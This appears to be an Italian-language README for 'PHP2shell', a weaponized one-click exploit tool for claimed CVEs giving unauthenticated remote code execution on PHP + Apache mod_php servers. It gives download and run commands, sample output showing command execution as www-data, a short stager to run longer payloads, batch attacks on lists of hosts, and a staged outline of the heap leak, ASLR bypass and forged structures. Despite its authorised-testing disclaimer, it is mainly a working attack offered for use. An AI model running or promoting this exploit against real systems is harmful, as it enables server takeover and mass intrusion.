
PoC di exploit one-click per CVE-2026-109618 e CVE-2026-109619 contro target vulnerabili PHP + Apache mod_php (prefork).
PoC weaponized one-click per CVE-2026-109618 e CVE-2026-109619
Prende di mira deployment PHP + Apache mod_php (prefork) vulnerabili.
⚠️ AVVERTENZA: Questo strumento è fornito esclusivamente per test di sicurezza autorizzati, CTF e ricerca didattica. Non utilizzarlo contro infrastrutture di cui non sei proprietario o per cui non hai esplicita autorizzazione al test. L'autore non si assume alcuna responsabilità per usi impropri.
PHP2shell è un exploit multi-stadio di corruzione della memoria che prende di mira il core di PHP all'interno di ambienti Apache mod_php prefork.
Sfruttando la gestione Out-Of-Memory (OOM) e lo stato di proprietà della richiesta che sopravvive nei worker persistenti, questo exploit aggira l'ASLR (Address Space Layout Randomization), fa trapelare puntatori interni dell'heap e di libphp.so, e forgia strutture PHP per ottenere Remote Code Execution (RCE) non autenticata.
bookworm (Predefinito): Immagine Docker ufficiale php:8.4.26-apache su Debian Bookworm.lab: Build lab personalizzata (PHP 8.4.26, Apache 2.4.68, Debian 12, gcc 12).Inizia a usarlo in pochi secondi.
git clone https://github.com/0xgh057r3c0n/PHP2shell.git
cd PHP2shell
chmod +x php2shell.py
python3 php2shell.py -u http://127.0.0.1:8088/index.php
$ python3 php2shell.py -u http://target.local/index.php
.__ ________ .__ .__ .__
______ | |__ ______ \_____ \ _____| |__ ____ | | | |
\____ \| | \\____ \ / ____/ / ___/ | \_/ __ \| | | |
| |_> > Y \ |_> > \ \___ \| Y \ ___/| |_| |__
| __/|___| / __/\_______ \/____ >___| /\___ >____/____/
|__| \/|__| \/ \/ \/ \/
php2shell — CVE-2026-109618 / CVE-2026-109619
CVSS v4.0: 9.2 Critical
author: 0xgh057r3c0n
[*] target http://target.local/index.php (cmd='id>/out/p1')
[*] offsets: zif=0x690d8 dtor=0x613c50 htdata=0x690d8
[*] rotating worker over HTTP
[*] stage 1: heap leak (attempt 1/3)
[+] chunk base = 0x7f8a40000000
[*] rotating worker over HTTP
[*] stage 2: libphp leak (attempt 1/3)
[+] libphp base = 0x7f8a12345000
[*] rotating worker over HTTP
[*] stage 3: HTDATA=0x7f8a40690d8 ZIF=0x7f8a123a9a870
[+] W3 attempt 1
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
A causa della dimensione del carrier di 167 byte, la lunghezza del comando è strettamente limitata a 14 byte. Per eseguire payload più lunghi, utilizza uno stager breve:
python3 php2shell.py -u http://target.local/index.php -c 'sh</out/c'
Crea un file targets.txt:
http://10.0.0.1/index.php
https://10.0.0.2/index.php
target.local
Esegui l'exploit in sequenza contro tutti i target:
python3 php2shell.py -t targets.txt
Se hai estratto gli offset manualmente o stai puntando a una build personalizzata, passali direttamente:
python3 php2shell.py -u http://target.local/index.php \
--zif-offset 0x43A870 \
--dtor-offset 0x613C50 \
--htdata-offset 0x690D8
Invece di controllare un file locale, forza l'exploit a verificare l'RCE recuperando un file via HTTP:
python3 php2shell.py -u http://target.local/index.php \
-c 'id>/out/p1' \
--proof-file '' \
--fetch /out/p1
| Argomento | Descrizione |
|---|---|
-u, --url | URL della pagina PHP di destinazione |
-t, --target-file | File con un URL di destinazione per riga |
-c, --cmd | Comando da eseguire (max 14 byte) |
--proof-file | File di proof locale da verificare (predefinito: out/p1) |
--fetch | Percorso GET per verificare lo sfruttamento in remoto |
--profile | Profilo di destinazione: bookworm (predefinito) o lab |
--zif-offset | Offset di zif_system in libphp.so |
--dtor-offset | Offset di ZVAL_PTR_DTOR in libphp.so |
--htdata-offset | Offset relativo al chunk della stringa di 167 byte |
--retries | Tentativi per fase di leak (predefinito: 3) |
--no-color | Disabilita i colori ANSI |
| Fase 0 | Rotazione dei worker: Invia una richiesta sovradimensionata per forzare Apache prefork ad abortire il worker corrente e generare un nuovo processo figlio con un heap pulito. |
| Fase 1 | Leak dell'heap: Provoca una corruzione OOM in modo che un puntatore globale del modulo faccia riferimento a memoria liberata. I campi di form inviati in spray recuperano lo slot con uno zend_string contraffatto, facendo trapelare puntatori dell'heap tramite Set-Cookie. |
| Fase 2 | Bypass ASLR: Fa trapelare un puntatore a zval_ptr_dtor da libphp.so. Sottraendo il valore noto DTOR_OFFSET si rivela l'indirizzo base della libreria. |
| Fase 3 | RCE: Contraffà una HashTable falsa e imposta pDestructor su libphp_base + ZIF_OFFSET. La routine di pulizia di PHP chiama zif_system con il tuo comando. |
Rilasciato sotto la MIT License. Vedi LICENSE per i dettagli.
Realizzato con 🔥 da 0xgh057r3c0n